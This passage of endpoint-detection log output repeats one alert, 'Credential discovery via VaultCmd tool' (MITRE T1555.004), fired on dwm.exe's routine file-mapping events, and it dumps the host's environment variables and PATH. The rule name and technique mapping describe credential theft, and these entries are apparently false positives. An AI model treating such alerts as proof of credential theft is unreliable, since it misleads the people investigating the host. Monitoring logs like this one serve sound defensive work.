Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:13+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4212299 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9984492 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4212433 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:35.0152197 +0100 CET + Params: file_key➜ ffffa88b2b4f3610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4212748 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:35.0485279 +0100 CET + Params: file_key➜ ffffa88aef2fe190, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c10000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4212858 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:35.0818795 +0100 CET + Params: file_key➜ ffffa88b2b4f3610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4221860 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.6011859 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4225728 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:36.98464 +0100 CET + Params: file_key➜ ffffa88afe8c0610, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132720000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData 